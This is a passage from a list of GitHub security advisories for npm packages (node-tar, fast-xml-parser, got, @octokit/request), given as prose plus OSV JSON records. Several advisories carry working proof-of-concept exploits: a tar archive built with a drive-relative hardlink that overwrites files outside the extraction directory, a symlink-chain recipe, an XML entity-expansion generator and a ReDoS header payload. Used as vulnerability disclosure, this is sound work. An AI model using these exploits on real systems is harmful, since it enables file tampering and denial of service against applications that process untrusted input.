{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar Symlink Path Traversal via Drive-Relative Linkpath"
}
GHSA-83G3-92JG-28CX
Vulnerability from github – Published: 2026-02-18 00:57 – Updated: 2026-02-20 16:47Summary
tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
Details
The bypass chain uses two symlinks plus one hardlink:
a/b/c/up -> ../..a/b/escape -> c/up/../..exfil(hardlink) ->a/b/escape/<target-relative-to-parent-of-extract>
Why this works:
- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
-
See
STRIPABSOLUTEPATHlogic in:../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281
-
Hardlink extraction resolves target as
path.resolve(cwd, entry.linkpath)and then callsfs.link(target, destination). ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567-
../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703 -
Parent directory safety checks (
mkdir+ symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path. ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101
As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.
PoC
hardlink.js Environment used for validation:
- Node:
v25.4.0 - tar:
7.5.7 - OS: macOS Darwin 25.2.0
- Extract options: defaults (
tar.extract({ file, cwd }))
Steps:
-
Prepare/locate a
tarmodule. Ifrequire('tar')is not available locally, setTAR_MODULEto an absolute path to a tar package directory. -
Run:
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
- Expected vulnerable output (key lines):
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
Interpretation:
same_inode=true: extractedexfiland external secret are the same file object.read_ok=true: readingexfilleaks external content.write_ok=true: writingexfilmodifies external file.
Impact
Vulnerability type:
- Arbitrary file read/write via archive extraction path confusion and link resolution.
Who is impacted:
- Any application/service that extracts attacker-controlled tar archives with Node
tardefaults. - Impact scope is the privileges of the extracting process user.
Potential outcomes:
- Read sensitive files reachable by the process user.
- Overwrite writable files outside extraction root.
- Escalate impact depending on deployment context (keys, configs, scripts, app data).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26960"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T00:57:13Z",
"nvd_published_at": "2026-02-20T02:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.\n\nThis enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).\n\nSeverity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.\n\n### Details\nThe bypass chain uses two symlinks plus one hardlink:\n\n1. `a/b/c/up -\u003e ../..`\n2. `a/b/escape -\u003e c/up/../..`\n3. `exfil` (hardlink) -\u003e `a/b/escape/\u003ctarget-relative-to-parent-of-extract\u003e`\n\nWhy this works:\n\n- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.\n - See `STRIPABSOLUTEPATH` logic in:\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`\n\n- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`\n\n- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`\n\nAs a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.\n\n### PoC\n[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)\nEnvironment used for validation:\n\n- Node: `v25.4.0`\n- tar: `7.5.7`\n- OS: macOS Darwin 25.2.0\n- Extract options: defaults (`tar.extract({ file, cwd })`)\n\nSteps:\n\n1. Prepare/locate a `tar` module. If `require(\u0027tar\u0027)` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.\n\n2. Run:\n\n```bash\nTAR_MODULE=\"$(cd \u0027../tar-audit-setuid - CVE/node_modules/tar\u0027 \u0026\u0026 pwd)\" node hardlink.js\n```\n\n3. Expected vulnerable output (key lines):\n\n```text\nsame_inode=true\nread_ok=true\nwrite_ok=true\nresult=VULNERABLE\n```\n\nInterpretation:\n\n- `same_inode=true`: extracted `exfil` and external secret are the same file object.\n- `read_ok=true`: reading `exfil` leaks external content.\n- `write_ok=true`: writing `exfil` modifies external file.\n\n### Impact\nVulnerability type:\n\n- Arbitrary file read/write via archive extraction path confusion and link resolution.\n\nWho is impacted:\n\n- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.\n- Impact scope is the privileges of the extracting process user.\n\nPotential outcomes:\n\n- Read sensitive files reachable by the process user.\n- Overwrite writable files outside extraction root.\n- Escalate impact depending on deployment context (keys, configs, scripts, app data).",
"id": "GHSA-83g3-92jg-28cx",
"modified": "2026-02-20T16:47:48Z",
"published": "2026-02-18T00:57:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction"
}
GHSA-JP2Q-39XQ-3W4G
Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-04-08 22:27Summary
The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
Details
The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}
The execution flow is:
- Developer configures
processEntities: { maxEntityCount: 0, maxEntitySize: 0 }intending to block all entity definitions. OptionsBuilder.normalizeProcessEntitiespreserves the0values via??(correct behavior).- Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocTypeevaluatesthis.options.maxEntityCount && ...— since0is falsy, the entire condition isfalse.DocTypeReader.readEntityExpevaluatesthis.options.maxEntitySize && ...— same result.- All entity count and size limits are bypassed; entities are parsed without restriction.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Expected output:
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
Impact
- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured
maxEntityCount: 0ormaxEntitySize: 0, intending to prohibit entities entirely. - Security control bypass: Developers who explicitly set restrictive limits to
0receive no protection — the opposite of their intent. This creates a false sense of security. - Scope: Only applications that explicitly set these limits to
0are affected. The default configuration (maxEntityCount: 100,maxEntitySize: 10000) is not vulnerable. Theenabled: falseoption correctly disables entity processing entirely and is not affected.
Recommended Fix
Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:
// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
this.options.maxEntityCount &&
entityCount >= this.options.maxEntityCount) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntityCount === 'number' &&
entityCount >= this.options.maxEntityCount) {
// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
this.options.maxEntitySize &&
entityValue.length > this.options.maxEntitySize) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntitySize === 'number' &&
entityValue.length > this.options.maxEntitySize) {
Workaround
If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta.3"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33349"
],
"database_specific": {
"cwe_ids": [
"CWE-1284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:13:13Z",
"nvd_published_at": "2026-03-24T20:16:29Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n this.options.maxEntityCount \u0026\u0026 // \u2190 0 is falsy, skips check\n entityCount \u003e= this.options.maxEntityCount) {\n throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n this.options.maxEntitySize \u0026\u0026 // \u2190 0 is falsy, skips check\n entityValue.length \u003e this.options.maxEntitySize) {\n throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` \u2014 since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` \u2014 same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n processEntities: {\n enabled: true,\n maxEntityCount: 0, // should mean \"zero entities allowed\"\n maxEntitySize: 0 // should mean \"zero-length entities only\"\n }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n const result = parser.parse(xml);\n console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n processEntities: {\n enabled: true,\n maxEntityCount: 1,\n maxEntitySize: 100\n }\n});\n\ntry {\n safeParser.parse(xml);\n console.log(\"ERROR: should have thrown\");\n} catch (e) {\n console.log(\"CONTROL:\", e.message); // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection \u2014 the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n this.options.maxEntityCount \u0026\u0026\n entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n typeof this.options.maxEntityCount === \u0027number\u0027 \u0026\u0026\n entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n this.options.maxEntitySize \u0026\u0026\n entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n typeof this.options.maxEntitySize === \u0027number\u0027 \u0026\u0026\n entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don\u0027t want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.",
"id": "GHSA-jp2q-39xq-3w4g",
"modified": "2026-04-08T22:27:44Z",
"published": "2026-03-19T19:13:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33349"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser"
}
GHSA-PFRX-2Q88-QQ97
Vulnerability from github – Published: 2022-06-19 00:00 – Updated: 2022-07-05 21:24The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "got"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "got"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.8.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-33987"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2022-06-21T20:05:25Z",
"nvd_published_at": "2022-06-18T21:15:00Z",
"severity": "MODERATE"
},
"details": "The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.",
"id": "GHSA-pfrx-2q88-qq97",
"modified": "2022-07-05T21:24:52Z",
"published": "2022-06-19T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33987"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/pull/2047"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/commit/861ccd9ac2237df762a9e2beed7edd88c60782dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/sindresorhus/got"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/compare/v12.0.3...v12.1.0"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/releases/tag/v11.8.5"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/got/releases/tag/v12.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Got allows a redirect to a UNIX socket"
}
GHSA-QFFP-2RHF-9H96
Vulnerability from github – Published: 2026-03-05 00:52 – Updated: 2026-03-09 15:49Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
cd test-workspace
node poc.cjs && ls -l ../target.txt
Observed output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.9"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29786"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T00:52:32Z",
"nvd_published_at": "2026-03-07T16:15:55Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `[\u0027C:..\u0027, \u0027target.txt\u0027]`, so `parts.includes(\u0027..\u0027)` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(process.cwd(), \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: \u0027l\u0027, type: \u0027Link\u0027, linkpath: \u0027C:../target.txt\u0027 }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
"id": "GHSA-qffp-2rhf-9h96",
"modified": "2026-03-09T15:49:59Z",
"published": "2026-03-05T00:52:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath"
}
GHSA-RMVR-2PP2-XJ38
Vulnerability from github – Published: 2025-02-14 18:00 – Updated: 2026-01-16 17:29Summary
The regular expression /<([^>]+)>; rel="deprecation"/ used to match the link header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious link header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.
Details
The vulnerability resides in the regular expression /<([^>]+)>; rel="deprecation"/, which is used to match the link header in HTTP responses. This regular expression captures content between angle brackets (<>) followed by ; rel="deprecation". However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.
An attacker can exploit this vulnerability by sending a specially crafted link header designed to trigger excessive backtracking. For example, the following headers:
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
The crafted link header consists of 100,000 consecutive < characters followed by a closing >. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.
The issue is present in the following code:
const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);
In this scenario, the link header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.
PoC
The gist of PoC.js 1. run npm i @octokit/request 2. run 'node poc.js' result: 3. then the program will stuck forever with high CPU usage
import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
const response = await originalFetch(url, options);
const fakeHeaders = new Headers(response.headers);
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers: fakeHeaders
});
};
request("GET /repos/octocat/hello-world")
.then(response => {
// console.log("[+] Response received:", response);
})
.catch(error => {
// console.error("[-] Error:", error);
});
// globalThis.fetch = originalFetch;
Impact
This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code.
The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.
The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include:
* Web applications or APIs that rely on parsing headers for deprecation information.
* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.
* Service providers who may face disruption in operations or performance degradation due to this flaw.
If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@octokit/request"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-beta.1"
},
{
"fixed": "9.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@octokit/request"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "8.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25290"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-14T18:00:18Z",
"nvd_published_at": "2025-02-14T20:15:35Z",
"severity": "MODERATE"
},
